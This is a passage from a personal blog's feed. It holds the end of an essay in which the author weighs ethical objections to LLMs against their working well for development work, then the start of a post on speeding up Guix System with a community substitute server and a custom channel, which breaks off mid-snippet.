&lt;li&gt;&lt;a href=&quot;https://blog.chrislewis.au/the-long-tail-of-llm-assisted-decompilation/&quot;&gt;The Long Tail of LLM-Assisted Decompilation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dustycloud.org/blog/an-ai-called-winter-neurosymbolic-computation-or-illusion/#f&quot;&gt;An AI Called Winter: Neurosymbolic Computation or Illusion?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.robinsloan.com/winter-garden/agi-is-here/&quot;&gt;AGI is here (and I feel fine)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xn--gckvb8fzb.com/hold-on-to-your-hardware/&quot;&gt;Hold on to Your Hardware&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rishi.baldawa.com/posts/the-agents-kept-going/&quot;&gt;The Agents Kept Going&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://undeleted.ronsor.com/ai-is-going-away/&quot;&gt;AI Is Going Away&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://slightknack.dev/daily/2026-02-21/&quot;&gt;Programming as theory building is true now more than ever&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://steveklabnik.com/writing/getting-started-with-claude-for-software-development/&quot;&gt;Getting started with Claude for software development&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a name=&quot;whew&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;A lot of it is very, very negatively inclined; I’ve done my best to take an interest in alternate viewpoints over the years, as well as some technical detail to stay grounded in the “what”. Despite my obviously strong &lt;a href=&quot;https://kivikakk.ee/2026/01/29/garbage&quot;&gt;feelings&lt;/a&gt; about the matter, I really do believe in keeping an open mind and reading widely. (It goes without saying that an article appearing above does not equal endorsement.) Likewise, despite not having an account on &lt;a href=&quot;https://kivikakk.ee/2025/09/01/how-to-leave-lobsters-for-good-in-3-easy-steps&quot;&gt;Lobste.rs&lt;/a&gt;, I continue to read most of the discussion that goes on there, and there sure has been a lot of it about LLMs!&lt;/p&gt;
&lt;p&gt;The thing about keeping an open mind is that it can change. My concerns about LLMs have been pretty total:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Environmental impact. Our world is burning, and you know what it doesn’t need more of right now? &lt;em&gt;Datacentres&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Economic impact. The share markets are a fuck, the flow-on effects (RAM prices!) widely felt, and every product is now &lt;nobr&gt;✨ intelligent ✨&lt;/nobr&gt; in a way no-one ever asked for.
&lt;ul&gt;
&lt;li&gt;The CEOs dreaming of replacing all workers with LLMs :) :) and then &lt;a href=&quot;https://pivot-to-ai.com/2026/01/29/the-job-losses-are-real-but-the-ai-excuse-is-fake/&quot;&gt;blaming lay-offs on “AI” when actually it’s just sparkling (✨) recession&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;They Can’t Work.&lt;/li&gt;
&lt;li&gt;For programmers particularly, there’s a continuum of fun new stuff from identity loss to an overwhelm of slop patches and everything in between.&lt;/li&gt;
&lt;li&gt;Theft and DDoS at scale are cool and we all love it&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So far, so good. Sometimes the criticisms do get a little unhinged when evaluated from a “love thy neighbour” standpoint:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Well that’s obviously relative and subjective— it’s reasonable for people who cheer for LLMs to trample on others’ infra, DDoS it, perform incessant scraping, ignore copyright and treat everything on the Internet as their own public domain dataset, destroy FOSS ecosystems, destroy personal computing and move us into a future of rented compute all for the sake of apparent results and “substance”. It’s reasonable for such people to agree with the principle of the end justifies the means.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And I guess, as someone who &lt;em&gt;really&lt;/em&gt; likes nuance, arguments that totally discard nuance and any appreciation whatsoever for the humanity and experiences of “the other side” do grate.&lt;/p&gt;
&lt;p&gt;One argument that has come up a lot traditionally, and that I have &lt;a href=&quot;https://kivikakk.ee/2025/07/08/unedited-thoughts-about-llms&quot;&gt;made myself&lt;/a&gt;, is that they just Don’t Work; sometimes the argument is that they Can’t Work. Seeing the sheer quantity of people using these tools and being quite confident that they &lt;em&gt;do&lt;/em&gt; work really made me wonder about this argument. &lt;a href=&quot;https://lobste.rs/s/vdueen/you_are_not_left_behind#c_qbgxa7&quot;&gt;People really still like it in the Year of our Lord 2026&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I’ve been employed at a big, publicly-owned software development software development company [sic] for the past five months. This means a lot of “AI” push from the top. One month in, &lt;a href=&quot;https://kivikakk.ee/2025/10/20/one-month-at-gitlab&quot;&gt;I was pretty sure I could avoid using LLMs until the bubble popped&lt;/a&gt;. Eventually, though, a combination of (a) being pushed to use them, (b) the insistence that they Don’t Work, from people who by and large &lt;em&gt;don’t&lt;/em&gt; use them, (c) the slowly growing portion of usually pretty level-headed people who are quite sure they do, (d) the availability of the best of breed of these tools to me at work without my having to personally give money to The Companies, and (e) that bubble not popping yet!!, all combined to my deciding to evaluate those claims.&lt;/p&gt;
&lt;p&gt;I try really hard to steelman my own arguments against myself, so instead of sticking to my “running &lt;code&gt;qwen3-coder:30b&lt;/code&gt; locally is completely not worth the time and results” line, given the opportunity, let’s see what agentic Opus 4.5 through OpenCode (via &lt;a href=&quot;https://about.gitlab.com/gitlab-duo-agent-platform/&quot;&gt;DAP&lt;/a&gt;) for work tasks can do. I started very small, and found myself remembering to try it out once every few days.&lt;/p&gt;
&lt;p&gt;And what do you know, it’s really capable. It is very good. I wouldn’t ever let it or any LLM &lt;em&gt;communicate&lt;/em&gt; for me — much like I have never let &lt;em&gt;any&lt;/em&gt; tool do that, be it LLMs, Gmail’s age-old “here I’ll try to guess what you want to say!!” or otherwise — but at development tasks, it’s super capable. It will indefatigably work out why something happened, in a huge codebase, with reference to megabytes of logs. It’ll capably suggest solutions, poke holes in yours, and get things wrong itself. It will happily substitute for your &lt;a href=&quot;https://kivikakk.ee/2025/07/08/unedited-thoughts-about-llms&quot;&gt;theory&lt;/a&gt; if you let it, it’ll write poor code if you’re not careful, and if you’re not clear enough about what you’re doing, it may well be a net-negative. It is a very quick, tireless, and reasonably unhinged assistant, and it absolutely makes Enterprise™ working conditions for the senior+ engineer so much more palatable. I can only speak from my own experience, but my experience is that it’s solid.&lt;/p&gt;
&lt;p&gt;I don’t say any of this lightly. I am &lt;em&gt;really&lt;/em&gt; good at my job. I am not at all afraid of this replacing me. But holy shit, does it make some &lt;em&gt;really tricky&lt;/em&gt; tasks virtually effortless?! Today a random set of 20 unrelated tests started to fail consistently in the GitLab 18.8 backport branch. I pointed it at some job logs, explained the situation and what I’d observed, and set the agents to work. I don’t have any experience with any of the tests or the feature areas affected; I have nothing to lean on here other than my observations trying and failing to get my backports past CI, realising these flakes were no longer flaking in the “let things pass” direction. It read all though failing tests’ code, read all the code those tests invoked (THERE IS A LOT), then read the test harnesses, the helpers for those, and within 10 minutes produced a theory which explained precisely what was going on to cause this extreme edge. That’s a super helpful tool to have, and saying otherwise is just incorrect? Would it have been better for me to load and commit all that to my own memory with some hours of reading and poking, and be a hero of diagnosing this one weird failure in the 18.8 backport branch, which will receive its last patch two months from now? I don’t think so.&lt;/p&gt;
&lt;p&gt;And iunno, here we get to the pointy end of things. I long didn’t &lt;em&gt;have&lt;/em&gt; to care about thinking through the Hard™ ethics issues around LLM use, because it fundamentally Doesn’t Work and therefore resolving them was fruitless. It turns out, though, that it Does Work. So where does that leave us?&lt;/p&gt;
&lt;h2&gt;Theft and DDoS at scale are cool and we all love it&lt;/h2&gt;
&lt;p&gt;The truth is, theft is cool. I mean it. A long time ago I believed in copyleft — I was a card-carrying FSF member, GNU plus Linux, GPLv3 all the things. Part of me still has a huge amount of sympathy for that position.&lt;/p&gt;
&lt;p&gt;But part of me also slaps the UNLICENSE, WTFPL, CC0 or otherwise on a lot of things I produce. Part of me would much rather abolish copyright than try to use copyright against corporations. I felt the “it’s better to have a seat at the table” angle vacate my body entirely when GitHub’s top brass used that argument to maintain a cosy relationship with ICE: is weaponising copyright law legitimising it? We all hate the DMCA, yet a takedown notice is often the tool of choice for FOSS licensing violations!&lt;/p&gt;
&lt;p&gt;I don’t think it’s easy to resolve this tension, but I’m very happy about Sci-Hub, I use The Pirate Bay and private trackers for some things while insisting on buying all the music I listen to (and buying copies for friends!), and I prefer the world where people &lt;em&gt;and&lt;/em&gt; organisations get to use my open-sourced stuff (and yes, make money from it without having to give me any) it than the alternate one where essentially &lt;em&gt;no-one&lt;/em&gt; uses it.&lt;/p&gt;
&lt;p&gt;I realise this is a bit self-serving (inasmuch as I derive satisfaction from making stuff that’s useful), but I’m doing my best to be honest and not apologise for the fact that my positions don’t/can’t neatly resolve into one side. If there was a different alternate world where we weren’t already fatally capitalistically fucked in the head and the software was useful for lots of people &lt;em&gt;without&lt;/em&gt; there being anyone needing or wanting to make money from it, that would be so cool! This ain’t it, though.&lt;/p&gt;
&lt;p&gt;So like, okay. Abolish copyright. Abolish intellectual property. It’s actually fine that a bunch of companies decided to Compile The Whole Internet into a file. Wish I did that first. Hope someone leaks that file.&lt;/p&gt;
&lt;p&gt;Now like, I don’t actually love that for a number of reasons; I’m particularly unhappy with OpenAI as a company and as a concept, based on just about everything I have ever heard of that has even the slightest thing to do with Sam Altman, as well as their scraping practices, business practices, etc. etc. etc.&lt;/p&gt;
&lt;p&gt;But I no longer feel that someone using large models on the scale of those of OpenAI is necessarily committing a particularly ethically dubious act by virtue of the model they have used. Yeah, they ingested your writing and code and art. Mine too. Takes a village to build a real proper egregore I guess. Totally figures that it’d be Corporate America to do that first.&lt;/p&gt;
&lt;p&gt;And it &lt;em&gt;super&lt;/em&gt; totally sucks that they DDoS us all in order to do this. I deploy &lt;a href=&quot;https://anubis.techaro.lol/&quot;&gt;Anubis&lt;/a&gt; and I think you should too. (Pause for a beat while you think about Anubis’s creator using LLMs! Guess how much pause this has given me!) Inasmuch as it’s very hard to separate the practices involved in compiling these datasets and the result themselves, that seems pretty clear-cut?&lt;/p&gt;
&lt;p&gt;But. I also think it’s ethically dubious to sample the DNA of living animals to create seeds to generate lab-grown meat. THAT SAID, if people have done that already — or &lt;em&gt;do&lt;/em&gt; do that, today — and it means that as a result, vast quantities of lab-grown meat are consumed instead of killing animals, is that a bit of a win for me as a vegetarian? It is quite a bit of a win.&lt;/p&gt;
&lt;p&gt;We are perhaps beyond the point where the frontier models need or can even &lt;em&gt;find&lt;/em&gt; useful new data to ingest; it would appear the internet has been thoroughly scraped a hundred times over. That obviously doesn’t mean they’ll stop, or that new labs won’t start, but in terms of the models that exist today and which Generate Value™ not from further scraping but from what’s been done — imo, if they actually help us, real actual People, they can yet be part of what is “a bit of a win”. I’m not convinced we need to punish the technology for the sins of the creators, even if they are still entangled &lt;em&gt;at this moment&lt;/em&gt;. (And I just don’t think we, as indivduals, can meaningfully punish the creators, but I’ll get to that.)&lt;/p&gt;
&lt;h2&gt;For programmers particularly, there’s a continuum of fun new stuff from identity loss to an overwhelm of slop patches and everything in between.&lt;/h2&gt;
&lt;p&gt;Yeah it sucks ass, but every technology transition has this; programmers have had an easy few decades when the worst thing most people can name is Agile or having to learn Kubernetes or AWS or whatever. I think &lt;a href=&quot;https://crowprose.com/blog/competence-as-tragedy/&quot;&gt;Competence as Tragedy&lt;/a&gt; summed it up better than I could.&lt;/p&gt;
&lt;p&gt;Slop patches are part of this too; Claude Code is the new AOL Usenet gateway. We’ll all adapt in different ways. On Comrak I simply &lt;a href=&quot;https://github.com/kivikakk/comrak/commit/fbd22f660c84af0f111d81c0bbc7578e31243ef9&quot;&gt;banned LLMs&lt;/a&gt;. Everyone gets to make up their own mind, and they don’t have to be of the same mind everywhere. We are headed to nuance-town, baby.&lt;/p&gt;
&lt;p&gt;I still think Naur is right, and if you forget to treat an LLM as an actual &lt;em&gt;other&lt;/em&gt; — meaning, when it writes the code, if you haven’t exercised what it’s suggested in your mind, and ideally on the actual computer, you most certainly haven’t got the theory — you will struggle to keep a hold on what’s going on. But, like many &lt;em&gt;other&lt;/em&gt; others (coworkers, past selves, etc.), you can ask an LLM to try to explain what it’s come up with, and these days it will often do a pretty good job. This dovetails with …&lt;/p&gt;
&lt;h2&gt;They Can’t Work.&lt;/h2&gt;
&lt;p&gt;So it turns out they do, and this throws a bit of a metaphysical spanner in the works. What does it mean if they can’t work, but they do? And like, a year ago it was very clearly “they kinda work but mostly don’t and this is actually gonna be a waste of time” (&lt;em&gt;particularly&lt;/em&gt; if you were like me and insisted on only ever trying local models, so as not to provide demand signal beyond one-off model downloads). Today it is very clearly “they mostly work really fucking well, often absurdly so, and while they can still get lost or overlook things, generally this is akin to magic when it comes to &lt;em&gt;actually useful needed tasks&lt;/em&gt;”. They &lt;a href=&quot;https://lobste.rs/s/s3en46/fix_your_tools#c_dpgq67&quot;&gt;make things possible&lt;/a&gt;. How does one square that with “but they can’t”?&lt;/p&gt;
&lt;p&gt;A point I was really hung up on before was the notion that the transformer architecture fundamentally hallucinates; that when you boil it down, of course it’s just text prediction, heck I’ve written dozens of hidden Markov models in my lifetime, and so it’s not even like a model of a human-ish brain where we could say, oh sure, increase &lt;em&gt;n&lt;/em&gt; by enough orders of magnitude and perhaps intelligence emerges, and we know it might because look at us. (And we’re not getting &lt;em&gt;there&lt;/em&gt; because the human brain and human intelligence is very much &lt;em&gt;embodied&lt;/em&gt;, and we’re never really proposing making full-on universal physics simulators. (are we?))&lt;/p&gt;
&lt;p&gt;So it can’t be intelligent, and it can’t act intelligent. So what the fuck is going on when it &lt;em&gt;does&lt;/em&gt;? Something else, obviously, but the fact is, you as an intelligent being can intelligently formulate an intelligent proposition to it, and it will give you an answer/construct a solution/form a counter-proposal/agree with what you said and execute on it while figuring out what do with all the gaps in the language you used in a very, uhhhhh, Clever, manner.&lt;/p&gt;
&lt;p&gt;The tl;dr for this section is, I am super happy to say, y’know what, something like intelligence &lt;em&gt;does&lt;/em&gt; ~emerge~ when you take a language model and keep cranking up the power factor. They briefly &lt;em&gt;appear&lt;/em&gt; intelligent by their use of language at low &lt;em&gt;n&lt;/em&gt; but are clearly not when they say or do things that don’t actually follow. Does it follow that they aren’t at high &lt;em&gt;n&lt;/em&gt;, even when the percentage of things said or done that don’t follow falls to a very low number indeed? I don’t know, but I do know that if you reduce the total complexity of the human brain by, say, ablating part of &lt;a href=&quot;https://en.wikipedia.org/wiki/Wernicke&amp;#x27;s_area&quot;&gt;Wernicke’s area&lt;/a&gt;, to outside observers you might also briefly appear intelligent, and then suddenly not. Does this mean we are not actually intelligent? Much to think about.&lt;/p&gt;
&lt;p&gt;And while their failure modes are completely unrelatable to us, and “experience” likewise due to their completely different substrate and architecture, I just don’t think we can conclude that they therefore do not possess (or &lt;em&gt;embody&lt;/em&gt;!!) &lt;em&gt;any kind&lt;/em&gt; of intelligence, nor have any kind of experience. I’m not proposing sentience here, but I can’t even say for sure that they haven’t that in some way, either, or that our definition isn’t overly fitted to the ways in which we reason and use it! Can you say for sure anyone else &lt;em&gt;does&lt;/em&gt; possess sentience? These weren’t exactly solved problems before LLMs came along; I was thinking about solipsism when I was in primary school. (Just trans things haha) LLMs are probably the single-most complex &lt;em&gt;things&lt;/em&gt; we have ever created (in a information theoretic kind of way). I just, I dunno — I’m not ready to make solid assertions here, and I don’t really get how so many are so willing to dispense with nuance to make bold claims in completely understudied (and partly unknowable) areas! Please re-read this essay series:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://meltingasphalt.com/mr-jaynes-wild-ride/&quot;&gt;Mr. Jaynes’ Wild Ride&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://meltingasphalt.com/accepting-deviant-minds/&quot;&gt;Accepting Deviant Minds&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://meltingasphalt.com/neurons-gone-wild/&quot;&gt;&lt;strong&gt;Neurons Gone Wild&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://meltingasphalt.com/hallucinated-gods/&quot;&gt;Hallucinated Gods&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Economic impact. The share markets are a fuck, the flow-on effects (RAM prices!) widely felt, and every product is now &lt;nobr&gt;✨ intelligent ✨&lt;/nobr&gt; in ways no-one ever asked for.&lt;/h2&gt;
&lt;p&gt;WELCOME TO CAPITALISM OPERATING AS INTENDED. Remember “there is no ethical consumption under …”? We are SEVERELY beyond the point of normalisation, and refusing to admit that is like refusing to admit that your riding a bicycle to work isn’t going to make the rest of the world give up ICE vehicles and make us unpave all the roads. Yes, cars have had a really big head start, but we’ve barely begun building the new datacentres supposedly needed for AI’s Line Goes Up Forever and if you haven’t noticed, this stuff is already widespread! I bet you have noticed, though, because we’re all constantly talking about it! This is the magic of software, of things whose substrate is information, which I think we were all already aware of! The cat well and truly is out of the bag.&lt;/p&gt;
&lt;p&gt;Choosing to abstain here is not going to make RAM prices come back down. The CEOs were busy masturbating at the altar of share prices when they were all making the replacement claims, and they have continued to do so as they realise that agents cannot in fact replace workers (though they may well try to reduce the number of juniors and then screw over the funnel for the industry as a whole, it’s been happening for a while now and we see the same happening with middle-management though I don’t feel the funnel concern carrying over there, and does this have anything do with LLMs? I don’t think so — but I digress). They still do so as they blame the recession-hiding-under-the-covers-of-inflated-share-prices layoffs on reduced need for workers due to AI. We will stop getting &lt;code&gt;✨ Summarize&lt;/code&gt; buttons (spelled with a ‘z’ ofc) as soon as they figure out the company to pump after Nvidia. And yet the models &lt;a href=&quot;https://undeleted.ronsor.com/ai-is-going-away/&quot;&gt;are not going to suddenly vanish&lt;/a&gt; when that happens.&lt;/p&gt;
&lt;p&gt;In short, when did the decisions made by billion-to-trillion-dollar company CEOs actually make the slightest difference to what &lt;em&gt;you&lt;/em&gt; should or should not be doing? You asking Gemini a translation question or vibe-coding a menubar widget is not what makes or breaks Sundar Pichai and topples this thing over. They’ve pushed everything this way; does that mean you &lt;em&gt;must&lt;/em&gt;, by rights, do the opposite thing? It doesn’t follow.&lt;/p&gt;
&lt;p&gt;I also really don’t want to seem like I’m saying “yeaahhhh just go do terrible shit”, here, either, because I’m not; I’m saying that while intoning YOU LLM FANATICS ALL THINK THE END JUSTIFIES THE MEANS is an emotionally satisfying position to hold, I don’t think it really holds. YOU CAR DRIVERS ALL THINK THE DESTINATION JUSTIFIES THE POLLUTION. Idk.&lt;/p&gt;
&lt;h2&gt;Environmental impact. Our world is burning, and you know what it doesn’t need more of right now? &lt;em&gt;Datacentres&lt;/em&gt;.&lt;/h2&gt;
&lt;p&gt;I keep coming back to the cars/fossil fuels analogy and I see some other folks around this time &lt;a href=&quot;https://lobste.rs/s/vdueen/you_are_not_left_behind#c_ej9xrt&quot;&gt;are too&lt;/a&gt;. We have paved over most of our cities with horrid amounts of roads. Cars themselves are obviously polluting, with companies being happy to &lt;a href=&quot;https://en.wikipedia.org/wiki/Volkswagen_emissions_scandal&quot;&gt;commit scandals&lt;/a&gt; to work around the fact that governments were starting to think this was maybe a bad idea. For a fun one, try considering air travel. Coal power sucks. It sucks that nuclear failed to get off the ground, but who knows, maybe we dodged a bullet.&lt;/p&gt;
&lt;p&gt;You can usually point the finger at capitalism and be correct, and the same generally applies here. The (proposed) build-outs are not in service of any realistically desirable goal; just Line Goes Up. But at this point, the actual use of these services (inference costs) is negligible. The water consumption is negligible. The demand signal &lt;em&gt;is negligible&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;And I used to humm and haaa about normalisation specifically re: demand signals and the prospect of using these tools and that being known, even if all the other concerns were somehow negated, but like, that window has well and truly passed us, and I don’t think any one (or hundred or more) of us could have really impacted that. It is too late, and it’s &lt;em&gt;really&lt;/em&gt; hard to say “this is realism and not fatalism” without it just sounding like fatalism to someone who’s two feet sunk deep in the contra- tribe (and it &lt;em&gt;would&lt;/em&gt; be silly, I think, to not observe the tribalism that’s developed). I am aware of this. I am not really trying to convince you, though; here I’m just writing out my reasoning, because y’know, writing and thinking go hand-in-hand.&lt;/p&gt;
&lt;p&gt;We were committed to this line as well and truly as we were to the global re-rise of fascism, to the “post COVID except for the bit where we’re &lt;em&gt;post&lt;/em&gt; COVID, oops, here, have some vaccine denialism” bit, to the not-so-proxy wars bit, not because any one person was too happy to be swayed by Trump, or was too anti-authoritarian, etc. etc., but because the world system we’ve ended up with allowed the interests of not the 1% but the 0.01% to control everything. Neoliberalism has well and truly had its way with us.&lt;/p&gt;
&lt;p&gt;This being the case, it makes sense to protect yourselves against racists and transphobes and do your best to educate where possible, to protect yourself against deadly airborne diseases and encourage your friends to do the same, and to be wary of your warmongering neighbour while also ever keeping in mind that your warmongering neighbour’s &lt;em&gt;citizens&lt;/em&gt; are just as caught up in this as you. We do not simply give in.&lt;/p&gt;
&lt;p&gt;What about LLMs? Does it make sense to then strictly abstain? I dunno for sure, but I’ve come to conclude: probably not.&lt;/p&gt;
&lt;p&gt;You &lt;strong&gt;should&lt;/strong&gt; be careful, of course, because there are new knives in the kitchen and they are sharp in unexpected ways; their failure modes of thinking (of “thinking”) are indeed unlike ours; LLM psychosis is real and those insisting it isn’t have no fucking idea what psychosis is (and I assure you, you do not truly find out any way except experentially); you will certainly lose the theory (or just fail to build one) if you go full-vibe-code; I imagine it’s relatively easy to use the tools in ways that cause a loss of skill, or degradation of memory. (It sounds a lot like I’m describing hallucinogens here, and qué sorpresa, I don’t think you should strictly abstain from those either.)&lt;/p&gt;
&lt;p&gt;But I don’t believe any more that total abstention is the only moral way. I know there are loads of reasons to be angry, but I don’t think LLM users are the correct target for this anger, much like I don’t think car users are, or people who don’t fund 100% of their home’s electricity with Green Energy Credits™, or meat eaters. I say this having spent some time uncomfortably both being angry at LLM users while also tentatively occupying the role myself. It would’ve been a lot easier to retreat back to the comparatively psychologically safe black-and-white position I inhabited before (coulda saved myself this whole essay!), but it wouldn’t have been honest.&lt;/p&gt;
&lt;p&gt;Thanks for reading.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>some things to make guix (system) less painful</title>
    <updated>2026-02-11T10:18:36Z</updated>
    <id>https://kivikakk.ee/2026/02/11/some-things-to-make-guix-system-less-painful</id>
    <link href="https://kivikakk.ee/2026/02/11/some-things-to-make-guix-system-less-painful" />

    <content type="html">&lt;p&gt;I’m grateful to &lt;a href=&quot;https://nemin.hu/&quot;&gt;Nemin&lt;/a&gt; for writing about his experiences with Guix! I’ve been thinking about it for months at this stage, and have an aarch64 VM from the 1.5.0 release. It’s felt awkward and I haven’t known how to get started, particularly because of how slow things seem to be.&lt;/p&gt;
&lt;p&gt;Some things that have really helped me speed things up:&lt;/p&gt;
&lt;h2&gt;Use Guix Moe’s substitutes&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ultrarare.space/en/posts/guix-build-farm/&quot;&gt;“Guix Moe”: Build farm and mirrors for community channels&lt;/a&gt; introduces it. You may be wondering &lt;em&gt;where&lt;/em&gt; exactly to put the &lt;code&gt;(simple-service &#39;guix-moe …)&lt;/code&gt; stanza.&lt;/p&gt;
&lt;p&gt;Wonder no more. Your &lt;code&gt;/etc/config.scm&lt;/code&gt; will have a &lt;code&gt;(services …)&lt;/code&gt; declaration. There will probably be a list of &lt;code&gt;(service …)&lt;/code&gt; declarations in a list inside that. Add it there. Mine looks like this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-commonlisp&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;[…]
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;      ;; Uncomment the line below to add an SSH server.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;      (service openssh-service-type)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;       
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      ;; Add support for the SPICE protocol, which enables dynamic
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      ;; resizing of the guest screen resolution, clipboard
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      ;; integration with the host, etc.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      (service spice-vdagent-service-type)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      ;; Use the DHCP client service rather than NetworkManager.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      (service dhcpcd-service-type)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;      (simple-service &amp;#39;guix-moe guix-service-type
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;                      (guix-extension (authorized-keys (list (plain-file
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;                                                              &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;guix-moe-old.pub&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;                                                              &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;(public-key (ecc (curve Ed25519) (q #374EC58F5F2EC0412431723AF2D527AD626B049D657B5633AAAEBC694F3E33F9#)))&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;                                                             ;; New key since 2025-10-29.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;                                                             (plain-file
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;                                                              &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;guix-moe.pub&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;                                                              &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;(public-key (ecc (curve Ed25519) (q #552F670D5005D7EB6ACF05284A1066E52156B51D75DE3EBD3030CD046675D543#)))&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;))
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;                                      (substitute-urls &amp;#39;(&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;https://cache-cdn.guix.moe&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;))))
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;;; Remove some services that don&amp;#39;t make sense in a VM.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;(remove (lambda (service)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;          (let ((type (service-kind service)))
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;[…]
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I’ve included lots of context so you don’t get lost. This gets you some more pre-built packages. &lt;code&gt;sudo guix system reconfigure /etc/config.scm&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Change your &lt;code&gt;guix&lt;/code&gt; channel source to Codeberg&lt;/h2&gt;
&lt;p&gt;I could die and &lt;code&gt;git.guix.gnu.org&lt;/code&gt; wouldn’t notice. Get acquainted with &lt;a href=&quot;https://guix.gnu.org/manual/1.5.0/en/html_node/Home-Configuration.html&quot;&gt;Guix Home&lt;/a&gt;. We’ll be customising the Guix channel itself per &lt;a href=&quot;https://guix.gnu.org/manual/1.5.0/en/html_node/Using-a-Custom-Guix-Channel.html&quot;&gt;6.2 Using a Custom Guix Channel&lt;/a&gt;, and doing it in Guix Home per &lt;a href=&quot;https://guix.gnu.org/manual/1.5.0/en/html_node/Guix-Home-Services.html&quot;&gt;13.3.9 Guix Home Services&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Because we’re replacing the default, we don’t want to just add a channel. Add this service to your &lt;code&gt;home-environment&lt;/code&gt;, similar to above:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-commonlisp&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;service&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;home-channels-service-type&lt;/span&gt;
